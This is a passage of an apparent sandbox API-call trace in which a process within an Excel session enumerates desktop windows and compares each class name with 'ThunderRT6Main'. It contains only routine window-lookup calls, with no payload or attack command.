[0284.396] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.396] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.396] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.396] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0284.396] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0284.396] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0284.396] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.396] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0284.396] GetClassNameA (in: hWnd=0x20018, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0284.396] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0284.396] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0284.396] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0284.396] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.396] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.396] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0284.396] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0284.396] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0284.396] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0284.396] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0284.396] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0284.396] GetClassNameA (in: hWnd=0x20016, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.396] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.396] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0284.396] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0284.396] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0284.396] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0284.396] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0284.397] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0284.397] GetClassNameA (in: hWnd=0x20108, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.397] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.397] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0284.397] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0284.397] GetClassNameA (in: hWnd=0x10106, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0284.397] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0284.397] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0284.397] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0284.397] GetClassNameA (in: hWnd=0x10102, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0284.397] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0284.397] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0284.397] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0284.397] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0284.397] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0284.397] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0284.397] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0284.397] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0284.397] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0284.397] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.397] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0284.397] GetClassNameA (in: hWnd=0x10084, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0284.397] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0284.397] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0284.397] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0284.397] GetClassNameA (in: hWnd=0x10082, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0284.397] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0284.397] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.397] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e [0284.397] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0284.397] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0284.397] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0284.397] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080 [0284.397] GetClassNameA (in: hWnd=0x10080, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.397] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.397] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0284.398] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076 [0284.398] GetClassNameA (in: hWnd=0x10076, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.398] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.398] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.398] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064 [0284.398] GetClassNameA (in: hWnd=0x10064, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.398] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.398] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.398] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110 [0284.398] GetClassNameA (in: hWnd=0x10110, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0284.398] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0284.398] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0284.398] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112 [0284.398] GetClassNameA (in: hWnd=0x10112, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.398] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.398] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0284.398] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060 [0284.398] GetClassNameA (in: hWnd=0x10060, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0284.398] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0284.398] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.398] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c [0284.398] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0284.398] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0284.398] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.398] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042 [0284.398] GetClassNameA (in: hWnd=0x10042, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0284.398] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0284.398] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0284.398] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0284.398] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0284.398] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0284.398] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0284.398] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048 [0284.398] GetClassNameA (in: hWnd=0x10048, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0284.398] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0284.398] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124 [0284.398] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040 [0284.398] GetClassNameA (in: hWnd=0x10040, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.399] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.399] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0284.399] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe [0284.399] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0284.399] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0284.399] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0284.399] GetWindow (hWnd=0x200fe, uCmd=0x2) returned 0x1011c [0284.399] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.399] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.399] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0284.399] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x1011a [0284.399] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0284.399] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0284.399] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0284.399] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10194 [0284.399] GetClassNameA (in: hWnd=0x10194, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.399] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.399] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c4 [0284.399] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10192 [0284.399] GetClassNameA (in: hWnd=0x10192, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="spendwin") returned 8 [0284.399] lstrcmpA (lpString1="spendwin", lpString2="ThunderRT6Main") returned -1 [0284.399] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c4 [0284.399] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x100ec [0284.399] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0284.399] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0284.399] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0284.399] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0284.399] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb8f840 [0284.399] IMalloc:Free (This=0x7feffc15380, pv=0xbb8f840) [0284.637] GetAsyncKeyState (vKey=27) returned 0 [0284.637] GetCurrentThreadId () returned 0x8fc [0284.637] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0284.637] GetDesktopWindow () returned 0x10010 [0284.637] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10070 [0284.637] GetClassNameA (in: hWnd=0x10070, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.637] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.637] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.637] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10140 [0284.637] GetClassNameA (in: hWnd=0x10140, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0284.638] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0284.638] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0284.638] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0284.638] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.638] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.638] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0284.638] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0284.638] GetClassNameA (in: hWnd=0x10138, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0284.638] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0284.638] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0284.638] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0284.638] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.638] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.638] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.638] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0284.638] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.638] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.638] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.638] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0284.638] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.638] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.638] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.638] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0284.638] GetClassNameA (in: hWnd=0x10072, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.638] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.638] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.638] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x1005c [0284.638] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.638] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.638] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.639] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a [0284.639] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.639] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.639] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.639] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a [0284.639] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.639] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.639] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.639] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0284.639] GetClassNameA (in: hWnd=0x10078, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.639] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.639] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.639] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0284.639] GetClassNameA (in: hWnd=0x10074, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.639] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.639] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.639] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0284.639] GetClassNameA (in: hWnd=0x10052, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0284.639] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0284.639] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.639] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0284.639] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.639] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.639] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.639] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0284.639] GetClassNameA (in: hWnd=0x10054, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0284.639] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0284.639] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.639] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0284.639] GetClassNameA (in: hWnd=0x10050, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0284.639] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0284.639] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.639] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0284.639] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.639] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.640] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0284.640] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0284.640] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.640] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.640] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.640] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0284.640] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0284.640] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0284.640] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.640] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0284.640] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0284.640] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0284.640] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.640] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x1021a [0284.640] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0284.640] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0284.640] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.640] GetWindowLongA (hWnd=0x1021a, nIndex=-16) returned -1946157056 [0284.640] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0284.640] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0284.640] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x2019c [0284.640] GetClassNameA (in: hWnd=0x2019c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.640] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.640] GetWindowThreadProcessId (in: hWnd=0x2019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.640] GetWindowLongA (hWnd=0x2019c, nIndex=-16) returned -1946157056 [0284.640] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0284.640] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0284.640] GetWindow (hWnd=0x2019c, uCmd=0x2) returned 0x202ca [0284.640] GetClassNameA (in: hWnd=0x202ca, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0284.640] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0284.640] GetWindowThreadProcessId (in: hWnd=0x202ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.640] GetWindowLongA (hWnd=0x202ca, nIndex=-16) returned 382664704 [0284.640] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0284.640] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0284.640] GetWindow (hWnd=0x202ca, uCmd=0x2) returned 0x20266 [0284.640] GetClassNameA (in: hWnd=0x20266, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.640] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.640] GetWindowThreadProcessId (in: hWnd=0x20266, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.640] GetWindowLongA (hWnd=0x20266, nIndex=-16) returned -1778384896 [0284.640] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0284.640] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0284.640] GetWindow (hWnd=0x20266, uCmd=0x2) returned 0x20268 [0284.640] GetClassNameA (in: hWnd=0x20268, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.640] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.640] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.641] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -1778384896 [0284.641] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0284.641] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0284.641] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a [0284.641] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.641] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.641] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.641] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -1778384896 [0284.641] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0284.641] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0284.641] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x600d0 [0284.641] GetClassNameA (in: hWnd=0x600d0, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.641] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.641] GetWindowThreadProcessId (in: hWnd=0x600d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.641] GetWindowLongA (hWnd=0x600d0, nIndex=-16) returned -1778384896 [0284.641] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0284.641] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0284.641] GetWindow (hWnd=0x600d0, uCmd=0x2) returned 0x101d4 [0284.641] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0284.641] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0284.641] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.641] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 516882432 [0284.641] 